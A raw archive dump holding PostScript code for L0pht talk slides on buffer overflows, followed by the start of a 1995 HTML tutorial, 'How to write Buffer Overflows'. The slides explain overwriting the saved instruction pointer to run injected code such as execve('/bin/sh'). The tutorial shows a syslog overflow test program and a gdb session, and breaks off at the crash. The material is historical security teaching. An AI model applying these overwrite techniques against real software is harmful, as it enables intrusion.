1601 1197 39 (xt) 38 SB
1639 1197 240 ( instruction ) 239 SB
1878 1197 34 ([f) 33 SB
1911 1197 158 (igure 3]) 157 SB
2068 1197 13 (.) 13 SB
712 1314 123 (Now, ) 122 SB
834 1314 83 (whe) 84 SB
918 1314 38 (n ) 37 SB
955 1314 120 (a call ) 119 SB
1074 1314 33 (is) 34 SB
1108 1314 13 ( ) 12 SB
1120 1314 108 (made) 109 SB
1229 1314 13 ( ) 12 SB
1241 1314 52 (in ) 51 SB
1292 1314 105 (your ) 104 SB
1396 1314 183 (program ) 182 SB
1578 1314 137 (the sys) 138 SB
1716 1314 88 (tem ) 87 SB
1803 1314 69 (nee) 70 SB
1873 1314 57 (ds ) 56 SB
1929 1314 176 (to know ) 175 SB
712 1372 187 (where to ) 186 SB
898 1372 80 (go f) 79 SB
977 1372 55 (or ) 54 SB
1031 1372 187 (the next i) 186 SB
1217 1372 44 (ns) 45 SB
1262 1372 31 (tr) 30 SB
1292 1372 47 (uc) 48 SB
1340 1372 14 (t) 13 SB
1353 1372 162 (ion and ) 161 SB
1514 1372 86 (how) 87 SB
1601 1372 13 ( ) 12 SB
1613 1372 52 (to ) 51 SB
1664 1372 47 (ge) 48 SB
1712 1372 14 (t) 13 SB
1725 1372 172 ( back to ) 171 SB
1896 1372 274 (the last place ) 274 SB
712 1430 41 (it ) 39 SB
751 1430 77 (was) 78 SB
829 1430 13 (.) 12 SB
841 1430 13 ( ) 12 SB
853 1430 31 (T) 30 SB
883 1430 60 (he ) 58 SB
941 1430 22 (c) 23 SB
964 1430 63 (all ) 61 SB
1025 1430 227 (instruction ) 225 SB
1250 1430 157 (usually ) 155 SB
1405 1430 19 (s) 20 SB
1425 1430 168 (pecifies ) 166 SB
1591 1430 74 (the ) 73 SB
1664 1430 121 (value ) 119 SB
1783 1430 116 (neede) 117 SB
1900 1430 38 (d ) 36 SB
1936 1430 52 (to ) 50 SB
1986 1430 60 (be ) 58 SB
2044 1430 94 (adde) 95 SB
2139 1430 38 (d ) 36 SB
712 1489 52 (to ) 51 SB
763 1489 74 (the ) 72 SB
835 1489 58 (IP ) 57 SB
892 1489 17 (f) 16 SB
908 1489 55 (or ) 53 SB
961 1489 74 (the ) 73 SB
1034 1489 130 (addres) 131 SB
1165 1489 32 (s ) 31 SB
1196 1489 42 (of) 41 SB
1237 1489 13 ( ) 12 SB
1249 1489 74 (the ) 73 SB
1322 1489 99 (next ) 97 SB
1419 1489 58 (ins) 59 SB
1478 1489 31 (tr) 30 SB
1508 1489 138 (uction ) 137 SB
1645 1489 52 (to ) 50 SB
1695 1489 60 (be ) 59 SB
1754 1489 91 (exec) 92 SB
1846 1489 99 (uted ) 97 SB
1943 1489 22 (a) 23 SB
1966 1489 25 (n) 24 SB
1990 1489 38 (d ) 37 SB
2027 1489 69 (pus) 70 SB
2097 1489 79 (hes ) 78 SB
712 1547 155 (the curr) 154 SB
866 1547 91 (ent I) 90 SB
956 1547 143 (P onto ) 142 SB
1098 1547 206 (the stack \() 205 SB
1303 1547 72 (this) 73 SB
1376 1547 13 ( ) 12 SB
1388 1547 33 (is) 34 SB
1422 1547 13 ( ) 12 SB
1434 1547 231 (oversimplif) 230 SB
1664 1547 36 (ie) 37 SB
1701 1547 38 (d ) 37 SB
1738 1547 41 (as) 42 SB
1780 1547 13 ( ) 12 SB
1792 1547 152 (there ar) 151 SB
1943 1547 22 (e) 23 SB
1966 1547 13 ( ) 12 SB
1978 1547 141 (nuance) 142 SB
2120 1547 32 (s ) 31 SB
712 1605 119 (betwe) 120 SB
832 1605 60 (en ) 59 SB
891 1605 155 (how dif) 154 SB
1045 1605 130 (ferent ) 129 SB
1174 1605 22 (a) 23 SB
1197 1605 17 (r) 16 SB
1213 1605 119 (chitec) 120 SB
1333 1605 14 (t) 13 SB
1346 1605 83 (ures) 84 SB
1430 1605 13 ( ) 12 SB
1442 1605 148 (and sys) 149 SB
1591 1605 203 (tems deal ) 202 SB
1793 1605 155 (with thi) 154 SB
1947 1605 19 (s) 20 SB
1967 1605 13 (.) 12 SB
1979 1605 26 (..) 25 SB
2004 1605 44 ( if) 43 SB
2047 1605 102 ( any-) 102 SB
712 1664 151 (one has) 152 SB
864 1664 13 ( ) 12 SB
876 1664 91 (ques) 92 SB
968 1664 14 (t) 13 SB
981 1664 83 (ions) 84 SB
1065 1664 13 ( ) 12 SB
1077 1664 334 (they can ask me ) 333 SB
1410 1664 22 (a) 23 SB
1433 1664 17 (f) 16 SB
1449 1664 66 (ter ) 65 SB
1514 1664 395 (the conference over) 394 SB
1908 1664 151 ( a beer\)) 150 SB
2058 1664 26 (. ) 25 SB
2083 1664 91 (The ) 90 SB
712 1722 133 (return ) 131 SB
843 1722 89 (instr) 88 SB
931 1722 47 (uc) 48 SB
979 1722 28 (ti) 27 SB
1006 1722 63 (on ) 62 SB
1068 1722 14 (i) 13 SB
1081 1722 38 (n ) 36 SB
1117 1722 61 (the) 62 SB
1179 1722 13 ( ) 11 SB
1190 1722 132 (called ) 130 SB
1320 1722 180 (function ) 178 SB
1498 1722 107 (pops ) 105 SB
1603 1722 74 (the ) 72 SB
1675 1722 19 (s) 20 SB
1695 1722 96 (tack ) 94 SB
1789 1722 121 (value ) 119 SB
1908 1722 47 (ba) 48 SB
1956 1722 60 (ck ) 58 SB
2014 1722 91 (into ) 89 SB
2103 1722 74 (the ) 72 SB
712 1780 58 (IP ) 57 SB
769 1780 69 (to r) 68 SB
837 1780 41 (es) 42 SB
879 1780 99 (ume ) 98 SB
977 1780 22 (e) 23 SB
1000 1780 185 (xecution ) 184 SB
1184 1780 123 (at the ) 122 SB
1306 1780 326 (next instruction ) 325 SB
1631 1780 105 (after ) 104 SB
1735 1780 159 (the call.) 158 SB
1893 1780 13 ( ) 13 SB
32 0 0 50 50 0 0 0 47 /Helvetica-Bold /font5 ANSIFont font
150 1937 120 (Yeah) 119 SB
269 1937 115 (... so) 114 SB
383 1937 45 (? ) 44 SB
427 1937 72 (I\222m) 73 SB
500 1937 14 ( ) 14 SB
150 1995 31 (g) 30 SB
180 1995 62 (ett) 61 SB
241 1995 76 (ing) 75 SB
316 1995 76 ( bo) 75 SB
391 1995 19 (r) 20 SB
411 1995 28 (e) 27 SB
438 1995 73 (d...) 73 SB
32 0 0 50 50 0 0 0 45 /Times-Roman /font12 ANSIFont font
712 1939 116 (You r) 115 SB
827 1939 22 (e) 23 SB
850 1939 39 (m) 38 SB
888 1939 22 (e) 23 SB
911 1939 103 (mber) 102 SB
1013 1939 87 ( the ) 86 SB
1099 1939 19 (s) 20 SB
1119 1939 148 (tack in ) 147 SB
1266 1939 98 (figur) 97 SB
1363 1939 73 (e 1 ) 72 SB
1435 1939 119 (don\222t ) 118 SB
1553 1939 141 (you? T) 140 SB
1693 1939 58 (his) 59 SB
1752 1939 13 ( ) 12 SB
1764 1939 33 (is) 34 SB
1798 1939 13 ( ) 12 SB
1810 1939 188 (where thi) 187 SB
1997 1939 19 (s) 20 SB
2017 1939 13 ( ) 12 SB
2029 1939 115 (infor-) 114 SB
712 1997 166 (mation i) 165 SB
877 1997 19 (s) 20 SB
897 1997 13 ( ) 12 SB
909 1997 47 (be) 48 SB
957 1997 14 (i) 13 SB
970 1997 283 (ng stored and ) 282 SB
1252 1997 84 (retri) 83 SB
1335 1997 22 (e) 23 SB
1358 1997 85 (ved ) 84 SB
1442 1997 98 (from) 97 SB
1539 1997 26 (. ) 25 SB
1564 1997 47 (If ) 46 SB
1610 1997 19 (s) 20 SB
1630 1997 171 (omeone ) 170 SB
1800 1997 72 (doe) 73 SB
1873 1997 88 (sn\222t ) 87 SB
1960 1997 63 (do ) 62 SB
2022 1997 22 (c) 23 SB
2045 1997 42 (or) 41 SB
2086 1997 88 (rect ) 88 SB
712 2055 144 (bounds) 145 SB
857 2055 13 ( ) 12 SB
869 2055 91 (chec) 92 SB
961 2055 102 (king ) 101 SB
1062 2055 88 (you ) 87 SB
1149 2055 22 (c) 23 SB
1172 2055 60 (an ) 59 SB
1231 2055 166 (write all) 165 SB
1396 2055 183 ( the way ) 182 SB
1578 2055 98 (from) 97 SB
1675 2055 87 ( the ) 86 SB
1761 2055 47 (he) 48 SB
1809 2055 60 (ap,) 59 SB
1868 2055 69 ( thr) 68 SB
1936 2055 187 (ough the ) 186 SB
712 2114 94 (unus) 95 SB
807 2114 60 (ed ) 59 SB
866 2114 130 (addres) 131 SB
997 2114 142 (s space) 143 SB
1140 2114 13 ( ) 12 SB
1152 2114 48 (\(if) 47 SB
1199 2114 54 ( it ) 53 SB
1252 2114 80 (exis) 81 SB
1333 2114 46 (ts ) 45 SB
1378 2114 187 (on this ar) 186 SB
1564 2114 22 (c) 23 SB
1587 2114 53 (hit) 52 SB
1639 2114 22 (e) 23 SB
1662 2114 78 (ctur) 77 SB
1739 2114 137 (e\) and ) 136 SB
1875 2114 105 (into t) 104 SB
1979 2114 47 (he) 48 SB
2027 2114 13 ( ) 12 SB
2039 2114 19 (s) 20 SB
2059 2114 14 (t) 13 SB
2072 2114 22 (a) 23 SB
2095 2114 60 (ck.) 59 SB
2154 2114 13 ( ) 13 SB
712 2172 58 (He) 59 SB
771 2172 60 (ck,) 59 SB
830 2172 13 ( ) 11 SB
841 2172 88 (you ) 85 SB
926 2172 22 (c) 23 SB
949 2172 60 (an ) 57 SB
1006 2172 22 (e) 23 SB
1029 2172 85 (ven ) 82 SB
1111 2172 116 (write ) 114 SB
1225 2172 56 (thr) 55 SB
1280 2172 113 (ough ) 111 SB
1391 2172 74 (the ) 71 SB
1462 2172 19 (s) 20 SB
1482 2172 96 (tack ) 94 SB
1576 2172 31 (if) 30 SB
1606 2172 13 ( ) 11 SB
1617 2172 88 (you ) 86 SB
1703 2172 110 (want ) 107 SB
1810 2172 85 (and ) 83 SB
1893 2172 107 (have ) 105 SB
1998 2172 80 (fun ) 77 SB
2075 2172 102 (with ) 100 SB
712 2230 284 (the command ) 283 SB
995 2230 269 (line args and ) 268 SB
1263 2230 266 (environment ) 265 SB
1528 2230 47 (va) 48 SB
1576 2230 17 (r) 16 SB
1592 2230 116 (iables) 117 SB
1709 2230 13 (.) 12 SB
712 2347 77 (All ) 75 SB
787 2347 88 (you ) 86 SB
873 2347 107 (need ) 105 SB
978 2347 52 (to ) 49 SB
1027 2347 63 (do ) 61 SB
1088 2347 46 (is ) 44 SB
1132 2347 60 (be ) 58 SB
1190 2347 105 (cleve) 106 SB
1296 2347 17 (r) 16 SB
1312 2347 13 ( ) 11 SB
1323 2347 160 (enough ) 158 SB
1481 2347 52 (to ) 49 SB
1530 2347 72 (ove) 73 SB
1603 2347 17 (r) 16 SB
1619 2347 116 (write ) 114 SB
1733 2347 74 (the ) 72 SB
1805 2347 126 (saved ) 124 SB
1929 2347 45 (IP) 44 SB
1973 2347 13 ( ) 11 SB
1984 2347 88 (that ) 86 SB
2070 2347 46 (is ) 44 SB
2114 2347 63 (on ) 61 SB
712 2405 151 (the stac) 152 SB
864 2405 25 (k) 24 SB
888 2405 115 ( with ) 114 SB
1002 2405 248 (the location ) 247 SB
1249 2405 176 (that you ) 175 SB
1424 2405 58 (wa) 59 SB
1483 2405 39 (nt) 38 SB
1521 2405 65 ( to ) 64 SB
1585 2405 58 (IP ) 57 SB
1642 2405 116 (to poi) 115 SB
1757 2405 104 (nt to ) 103 SB
1860 2405 130 (upon r) 129 SB
1989 2405 22 (e) 23 SB
2012 2405 14 (t) 13 SB
2025 2405 93 (urn. ) 92 SB
712 2464 191 (This addr) 190 SB
902 2464 22 (e) 23 SB
925 2464 142 (ss will ) 141 SB
1066 2464 169 (presuma) 170 SB
1236 2464 39 (bl) 38 SB
1274 2464 198 (y contain ) 197 SB
1471 2464 61 (the) 62 SB
1533 2464 13 ( ) 12 SB
1545 2464 163 (opcodes) 164 SB
1709 2464 13 ( ) 12 SB
1721 2464 22 (a) 23 SB
1744 2464 25 (n) 24 SB
1768 2464 286 (d operands of ) 285 SB
2053 2464 74 (the ) 74 SB
712 2522 94 (code) 95 SB
807 2522 13 ( ) 12 SB
819 2522 163 (that you) 162 SB
981 2522 448 ( have constructed and ) 447 SB
1428 2522 126 (put at ) 125 SB
1553 2522 72 (this) 73 SB
1626 2522 13 ( ) 12 SB
1638 2522 149 (address) 150 SB
1788 2522 13 (.) 12 SB
1800 2522 80 ( Per) 79 SB
1879 2522 47 (ha) 48 SB
1927 2522 179 (ps some-) 179 SB
712 2580 116 (thing ) 115 SB
827 2580 86 (inge) 87 SB
914 2580 39 (ni) 38 SB
952 2580 69 (ous) 70 SB
1022 2580 13 ( ) 12 SB
1034 2580 226 (like execve) 227 SB
1261 2580 17 (\() 16 SB
1277 2580 180 (\223/bin/sh\224) 181 SB
1458 2580 13 (,) 12 SB
1470 2580 51 ( 0,) 50 SB
1520 2580 55 ( 0\)) 54 SB
1574 2580 40 ( / ) 39 SB
1613 2580 19 (s) 20 SB
1633 2580 25 (y) 24 SB
1657 2580 19 (s) 20 SB
1677 2580 139 (call\(59) 136 SB
1813 2580 219 (,\224/bin/sh\224, ) 218 SB
2031 2580 51 (0, ) 50 SB
2081 2580 69 (0\); ) 68 SB
712 2639 55 (or ) 54 SB
766 2639 107 (even ) 106 SB
872 2639 19 (s) 20 SB
892 2639 202 (omething ) 201 SB
1093 2639 118 (nasty ) 117 SB
1210 2639 88 (like ) 87 SB
1297 2639 74 (the ) 73 SB
1370 2639 61 (ma) 62 SB
1432 2639 121 (chine ) 120 SB
1552 2639 227 (instruction ) 226 SB
1778 2639 17 (f) 16 SB
1794 2639 55 (or ) 54 SB
1848 2639 98 (HLT) 97 SB
1945 2639 13 ( ) 12 SB
1957 2639 58 (\(as) 59 SB
2016 2639 160 (suming ) 159 SB
712 2697 162 (you are ) 161 SB
873 2697 66 (in t) 65 SB
938 2697 47 (he) 48 SB
986 2697 13 ( ) 12 SB
998 2697 144 (proper ) 143 SB
1141 2697 98 (ring\)) 97 SB
1238 2697 13 (.) 13 SB
gr
gr
1 #C
statusdict begin /manualfeed false store end
EJ RS
%%PageTrailer
%%PageResources: font Helvetica-Bold
%%+ font Times-Bold
%%+ font Times-Italic
%%+ font Times-Roman
%%Page: 4 4
%%PageResources: (atend)
SS
0 0 25 11 798 1100 300 SM
% Copyright (c) 1986-1995 Frame Technology Corporation.
/FMcmyk 100 dict def
/FmBD{bind def}bind def
/FmLD{load def}FmBD
/FMc {
FMcmyk length FMcmyk maxlength ge { /FMcmyk FMcmyk dup length dup add dict copy def } if
4 array astore 4 1 roll 8 bitshift add 8 bitshift add exch FMcmyk 3 1 roll put
}FmBD
/setcmykcolor where { pop
/sc where { pop /sc load 0 get /scignore eq {
/FMsc /sc FmLD
/sc { 3 copy 8 bitshift add 8 bitshift add FMcmyk 1 index known
{ FMcmyk exch get aload pop setcmykcolor pop pop pop } { pop FMsc } ifelse
}FmBD
} if } if
} if
mark { /S load
dup 0 get /PenW eq { dup 1 get /sl load eq {
dup 0 { PenW .75 sub sl } bind put 1 /exec load put
} if } if
} stopped cleartomark
/FmX matrix defaultmatrix def
/FmDC {transform FmX itransform cvi exch cvi exch} def
/FmBx { dup 3 index lt {3 1 roll exch} if
1 index 4 index lt {4 -1 roll 3 1 roll exch 4 1 roll} if
}FmBD
/FmPD/cleartomark FmLD
/FmPD2/cleartomark FmLD
/FmPT/pop FmLD
/FmPA{pop pop pop}FmBD
systemdict /pdfmark known {
/FmPD/pdfmark FmLD
currentdistillerparams /CoreDistVersion get 2000 ge {
/FmPD2/pdfmark FmLD
/FmPA { mark exch /Dest exch 5 3 roll
/View [ /XYZ null 6 -2 roll FmDC exch pop null] /DEST FmPD
}FmBD
} if
} if
0 0 0 0.0 0.0 0.0 1.0 FMc
gs
gs
gs
1 lc
1 lj
0 0 0 pC
0 1 SP
gs 526 1 225 139 CB
225 139 M 525 0 1 PP
S
n
gr
gs 2026 1 225 1414 CB
225 1414 M 2025 0 1 PP
S
n
gr
gs 2026 1 225 2953 CB
225 2953 M 2025 0 1 PP
S
n
gr
32 0 0 50 50 0 0 0 48 /Times-Bold /font9 ANSIFont font
0 0 0 fC
2225 2969 25 (1) 25 SB
gr
32 0 0 100 100 0 0 0 93 /Times-Italic /font11 ANSIFont font
787 428 67 (C) 63 SB
850 428 50 (o) 47 SB
897 428 72 (m) 68 SB
965 428 50 (p) 46 SB
1011 428 39 (r) 35 SB
1046 428 50 (o) 47 SB
1093 428 72 (m) 68 SB
1161 428 28 (i) 24 SB
1185 428 39 (s) 36 SB
1221 428 44 (e) 40 SB
1261 428 50 (d) 47 SB
1308 428 25 ( ) 21 SB
1329 428 33 (-) 29 SB
1358 428 25 ( ) 22 SB
1380 428 61 (B) 57 SB
1437 428 50 (u) 46 SB
1483 428 28 (f) 25 SB
1508 428 28 (f) 24 SB
1532 428 44 (e) 40 SB
1572 428 39 (r) 36 SB
1608 428 33 (-) 29 SB
787 553 72 (O) 69 SB
856 553 44 (v) 40 SB
896 553 44 (e) 41 SB
937 553 39 (r) 35 SB
972 553 28 (f) 24 SB
996 553 28 (l) 25 SB
1021 553 50 (o) 46 SB
1067 553 67 (w) 63 SB
1130 553 39 (s) 35 SB
1165 553 25 (,) 21 SB
1186 553 25 ( ) 22 SB
1208 553 28 (f) 24 SB
1232 553 39 (r) 35 SB
1267 553 50 (o) 46 SB
1313 553 72 (m) 69 SB
1382 553 25 ( ) 21 SB
1403 553 33 (I) 30 SB
1433 553 50 (n) 46 SB
1479 553 28 (t) 24 SB
1503 553 44 (e) 41 SB
1544 553 28 (l) 24 SB
1568 553 25 ( ) 21 SB
1589 553 28 (t) 24 SB
1613 553 50 (o) 47 SB
1660 553 25 ( ) 21 SB
787 678 50 (S) 47 SB
834 678 61 (P) 57 SB
891 678 61 (A) 57 SB
948 678 61 (R) 58 SB
1006 678 67 (C) 63 SB
1069 678 25 ( ) 21 SB
1090 678 61 (V) 57 SB
1147 678 44 (e) 41 SB
1188 678 39 (r) 35 SB
1223 678 39 (s) 35 SB
1258 678 28 (i) 25 SB
1283 678 50 (o) 46 SB
1329 678 50 (n) 46 SB
1375 678 25 ( ) 21 SB
1396 678 50 (8) 43 SB
32 0 0 50 50 0 0 0 47 /Helvetica-Bold /font5 ANSIFont font
787 941 44 (m) 45 SB
832 941 31 (u) 30 SB
862 941 62 (dg) 61 SB
923 941 119 (e@l0) 118 SB
1041 941 79 (pht) 78 SB
1119 941 73 (.co) 72 SB
1191 941 44 (m) 45 SB
32 0 0 41 41 0 0 0 40 /Times-Bold /font9 ANSIFont font
787 1092 27 (T) 28 SB
815 1092 41 (he) 42 SB
857 1092 74 ( pur) 75 SB
932 1092 78 (pose) 79 SB
1011 1092 103 ( of thi) 104 SB
1115 1092 72 (s tal) 73 SB
1188 1092 44 (k i) 45 SB
1233 1092 140 (s to fam) 141 SB
1374 1092 22 (il) 23 SB
1397 1092 11 (i) 12 SB
1409 1092 21 (a) 20 SB
1429 1092 18 (r) 19 SB
1448 1092 29 (iz) 30 SB
1478 1092 28 (e ) 29 SB
787 1142 41 (pe) 42 SB
829 1142 73 (ople) 74 SB
903 1142 10 ( ) 8 SB
911 1142 41 (wi) 42 SB
953 1142 47 (th ) 45 SB
998 1142 110 (buffer) 111 SB
1109 1142 10 ( ) 8 SB
1117 1142 42 (ov) 41 SB
1158 1142 18 (e) 19 SB
1177 1142 43 (rfl) 44 SB
1221 1142 87 (ows. ) 85 SB
1306 1142 41 (W) 42 SB
1348 1142 68 (hat ) 66 SB
1414 1142 55 (the) 56 SB
1470 1142 21 (y) 20 SB
1490 1142 10 ( ) 8 SB
1498 1142 39 (ar) 40 SB
1538 1142 28 (e,) 29 SB
1567 1142 10 ( ) 8 SB
787 1192 84 (why ) 85 SB
872 1192 116 (they w) 117 SB
989 1192 21 (o) 20 SB
1009 1192 18 (r) 19 SB
1028 1192 100 (k and) 101 SB
1129 1192 206 ( how to app) 207 SB
1336 1192 111 (roach ) 112 SB
1448 1192 89 (them) 90 SB
1538 1192 10 (.) 10 SB
32 0 0 50 50 0 0 0 47 /Helvetica-Bold /font5 ANSIFont font
225 1461 78 (Wh) 77 SB
302 1461 76 (at t) 75 SB
377 1461 104 (he h) 103 SB
480 1461 84 (eck) 83 SB
563 1461 112 ( is a ) 112 SB
225 1520 31 (b) 30 SB
255 1520 48 (uf) 47 SB
302 1520 165 (fer ove) 164 SB
466 1520 19 (r) 20 SB
486 1520 17 (f) 16 SB
502 1520 115 (low?) 114 SB
32 0 0 50 50 0 0 0 45 /Times-Roman /font12 ANSIFont font
787 1463 116 (A buf) 115 SB
902 1463 69 (fer ) 68 SB
970 1463 106 (overf) 105 SB
1075 1463 231 (low occurs ) 230 SB
1305 1463 36 (w) 37 SB
1342 1463 85 (hen ) 84 SB
1426 1463 60 (an ) 59 SB
1485 1463 86 (obje) 87 SB
1572 1463 49 (ct ) 48 SB
1620 1463 55 (of ) 54 SB
1674 1463 77 (size) 78 SB
1752 1463 13 ( ) 12 SB
1764 1463 53 (x+) 47 SB
1811 1463 38 (y ) 37 SB
1848 1463 189 (is placed ) 188 SB
2036 1463 91 (into ) 90 SB
2126 1463 22 (a) 23 SB
2149 1463 13 ( ) 12 SB
2161 1463 89 (con-) 89 SB
787 1522 169 (tainer of) 168 SB
955 1522 141 ( size x.) 140 SB
1095 1522 44 ( T) 43 SB
1138 1522 58 (his) 59 SB
1197 1522 13 ( ) 12 SB
1209 1522 44 (ca) 45 SB
1254 1522 38 (n ) 37 SB
1291 1522 209 (happen in ) 208 SB
1499 1522 463 (many situations when t) 462 SB
1961 1522 47 (he) 48 SB
2009 1522 13 ( ) 12 SB
2021 1522 109 (progr) 108 SB
2129 1522 22 (a) 23 SB
2152 1522 39 (m) 38 SB
2190 1522 17 (-) 17 SB
787 1580 91 (mer ) 90 SB
877 1580 72 (doe) 73 SB
950 1580 96 (s not) 95 SB
1045 1580 151 ( take pr) 150 SB
1195 1580 198 (oper care ) 197 SB
1392 1580 448 (to bounds check what ) 447 SB
1839 1580 105 (their ) 104 SB
1943 1580 262 (functions do ) 261 SB
787 1638 209 (and what t) 208 SB
995 1638 47 (he) 48 SB
1043 1638 38 (y ) 37 SB
1080 1638 113 (are pl) 112 SB
1192 1638 22 (a) 23 SB
1215 1638 99 (cing ) 98 SB
1313 1638 91 (into ) 90 SB
1403 1638 47 (va) 48 SB
1451 1638 17 (r) 16 SB
1467 1638 116 (iables) 117 SB
1584 1638 13 ( ) 12 SB
1596 1638 58 (ins) 59 SB
1655 1638 74 (ide ) 73 SB
1728 1638 105 (their ) 104 SB
1832 1638 215 (programs. ) 214 SB
2046 1638 55 (As) 56 SB
2102 1638 13 ( ) 12 SB
2114 1638 44 (us) 45 SB
2159 1638 74 (ual,) 73 SB
2232 1638 13 ( ) 13 SB
787 1697 91 (the f) 90 SB
877 1697 380 (un begins when thi) 379 SB
1256 1697 19 (s) 20 SB
1276 1697 13 ( ) 12 SB
1288 1697 223 (programmi) 222 SB
1510 1697 398 (ng mistake is made ) 397 SB
1907 1697 22 (a) 23 SB
1930 1697 14 (t) 13 SB
1943 1697 205 ( a place th) 204 SB
2147 1697 22 (a) 23 SB
2170 1697 27 (t ) 26 SB
787 1755 130 (allows) 131 SB
918 1755 13 ( ) 12 SB
930 1755 44 (us) 45 SB
975 1755 39 (er) 38 SB
1013 1755 212 ( definable ) 211 SB
1224 1755 47 (da) 48 SB
1272 1755 14 (t) 13 SB
1285 1755 22 (a) 23 SB
1308 1755 13 ( ) 12 SB
1320 1755 112 (to be ) 111 SB
1431 1755 58 (ins) 59 SB
1490 1755 39 (er) 38 SB
1528 1755 74 (ted.) 74 SB
787 1872 277 (Some commo) 276 SB
1063 1872 226 (n examples) 227 SB
1290 1872 13 ( ) 12 SB
1302 1872 75 (are:) 75 SB
862 1968 91 (\(less) 92 SB
954 1968 13 ( ) 12 SB
966 1968 22 (c) 23 SB
989 1968 64 (om) 63 SB
1052 1968 106 (mon\)) 106 SB
862 2064 69 (cha) 70 SB
932 2064 17 (r) 16 SB
948 2064 116 ( input) 115 SB
1063 2064 98 ([20];) 98 SB
862 2159 80 (gets) 81 SB
943 2159 17 (\() 16 SB
959 2159 134 (input\);) 134 SB
862 2255 98 (\(mor) 97 SB
959 2255 22 (e) 23 SB
982 2255 13 ( ) 12 SB
994 2255 192 (common\)) 192 SB
862 2351 69 (cha) 70 SB
932 2351 17 (r) 16 SB
948 2351 169 ( env[20]) 168 SB
1116 2351 14 (;) 14 SB
862 2447 276 (env = getenv\() 275 SB
1137 2447 22 (\223) 23 SB
1160 2447 28 (F) 27 SB
1187 2447 36 (O) 37 SB
1224 2447 160 (OBAR\224) 161 SB
1385 2447 17 (\)) 16 SB
1401 2447 14 (;) 14 SB
787 2564 33 (B) 34 SB
821 2564 42 (uf) 41 SB
862 2564 69 (fer ) 68 SB
930 2564 120 (overfl) 119 SB
1049 2564 61 (ow) 62 SB
1111 2564 71 (s ar) 70 SB
1181 2564 22 (e) 23 SB
1204 2564 13 ( ) 12 SB
1216 2564 63 (by ) 62 SB
1278 2564 69 (far ) 68 SB
1346 2564 61 (the) 62 SB
1408 2564 13 ( ) 12 SB
1420 2564 298 (most common ) 297 SB
1717 2564 19 (s) 20 SB
1737 2564 100 (ecuri) 99 SB
1836 2564 94 (ty pr) 93 SB
1929 2564 86 (oble) 87 SB
2016 2564 39 (m) 38 SB
2054 2564 65 ( in ) 64 SB
2118 2564 89 (cod-) 89 SB
787 2622 90 (ing. ) 89 SB
876 2622 83 (For ) 82 SB
958 2622 124 (every ) 123 SB
1081 2622 19 (s) 20 SB
1101 2622 166 (ystem\(\),) 165 SB
1266 2622 152 ( popen\() 151 SB
1417 2622 30 (\),) 29 SB
1446 2622 97 ( etc. ) 96 SB
1542 2622 176 (that you ) 175 SB
1717 2622 94 (find ) 93 SB
1810 2622 195 (in source ) 194 SB
2004 2622 22 (c) 23 SB
2027 2622 85 (ode ) 84 SB
2111 2622 113 (there ) 113 SB
787 2680 123 (are at ) 122 SB
909 2680 58 (lea) 59 SB
968 2680 46 (st ) 45 SB
1013 2680 165 (20x\222s as) 166 SB
1179 2680 13 ( ) 12 SB
1191 2680 163 (many pl) 162 SB
1353 2680 22 (a) 23 SB
1376 2680 63 (ces) 64 SB
1440 2680 13 ( ) 12 SB
1452 2680 149 (where t) 148 SB
1600 2680 47 (he) 48 SB
1648 2680 13 ( ) 12 SB
1660 2680 205 (potential f) 204 SB
1864 2680 55 (or ) 54 SB
1918 2680 91 (abus) 92 SB
2010 2680 49 (e t) 48 SB
2058 2680 155 (hrough ) 155 SB
787 2739 184 (improper) 183 SB
970 2739 476 ( bounds checking exists) 477 SB
1447 2739 13 (.) 12 SB
1459 2739 44 ( T) 43 SB
1502 2739 213 (hus is one ) 212 SB
1714 2739 69 (of t) 68 SB
1782 2739 47 (he) 48 SB
1830 2739 13 ( ) 12 SB
1842 2739 127 (great l) 126 SB
1968 2739 22 (e) 23 SB
1991 2739 124 (gacies) 125 SB
2116 2739 13 ( ) 12 SB
2128 2739 88 (that ) 87 SB
787 2797 91 (the \221) 90 SB
877 2797 33 (C) 34 SB
911 2797 17 (\222) 16 SB
927 2797 122 ( progr) 121 SB
1048 2797 177 (amming ) 176 SB
1224 2797 36 (la) 37 SB
1261 2797 157 (nguage ) 156 SB
1417 2797 22 (a) 23 SB
1440 2797 17 (f) 16 SB
1456 2797 59 (for) 58 SB
1514 2797 44 (ds) 45 SB
1559 2797 13 ( ) 12 SB
1571 2797 44 (us) 45 SB
1616 2797 13 (.) 12 SB
1628 2797 140 ( gets\(\) ) 139 SB
1767 2797 259 (and copying ) 258 SB
2025 2797 170 (environ-) 170 SB
787 2855 119 (ments) 120 SB
907 2855 13 ( ) 12 SB
919 2855 137 (are by ) 136 SB
1055 2855 102 (no m) 101 SB
1156 2855 22 (e) 23 SB
1179 2855 153 (ans the ) 152 SB
1331 2855 237 (only place f) 236 SB
1567 2855 55 (or ) 54 SB
1621 2855 123 (buffer) 122 SB
1743 2855 119 ( overf) 118 SB
1861 2855 94 (lows) 95 SB
1956 2855 13 ( ) 12 SB
1968 2855 209 (to happen.) 208 SB
gr
gr
1 #C
statusdict begin /manualfeed false store end
EJ RS
%%PageTrailer
%%PageResources: font Helvetica-Bold
%%+ font Times-Bold
%%+ font Times-Italic
%%+ font Times-Roman
%%Trailer
SVDoc restore
end
%%Pages: 4
%%DocumentSuppliedResources: procset Win35Dict 3 1
%%DocumentNeededResources: font Helvetica-Bold
%%+ font Times-Bold
%%+ font Times-Italic
%%+ font Times-Roman
%%EOF
buffer-overflows/bufero.html100644 0 0 66360 6355067210 14641 0ustar rootroot
L0pht Heavy Industries Services
How to write Buffer Overflows
This is really rough, and some of it is not needed. I wrote this as
a reminder note to myself as I really didn't want to look at any more
AT&T assembly again for a while and was afraid I would forget what
I had done. If you are an old assembly guru then you might scoff at
some of this... oh well, it works and that's a hack in itself.
-by [email protected] 10/20/95
test out the program (duh).
--------syslog_test_1.c------------
#include
char buffer[4028];
void main() {
int i;
for (i=0; i<=4028; i++)
buffer[i]='A';
syslog(LOG_ERR, buffer);
}
--------end syslog_test_1.c----------
|
Compile the program and run it. Make sure you include the symbol
table for the debugger or not... depending upon how macho you feel today.
bash$ gcc -g buf.c -o buf
bash$ buf
Segmentation fault (core dumped)
|
The 'Segmentation fault (core dumped)' is what we wanted to see. This
tells us there is definately an attempt to access some memory address
that we shouldn't. If you do much in 'C' with pointers on a unix machine
you have probably seen this (or Bus error) when pointing or dereferencing
incorrectly.
Fire up gdb on the program (with or without the core file). Assuming you
remove the core file (this way you can learn a bit about gdb), the
steps would be as follows:
bash$ gdb buf
(gdb) run
Starting program: /usr2/home/syslog/buf
Program received signal 11, Segmentation fault
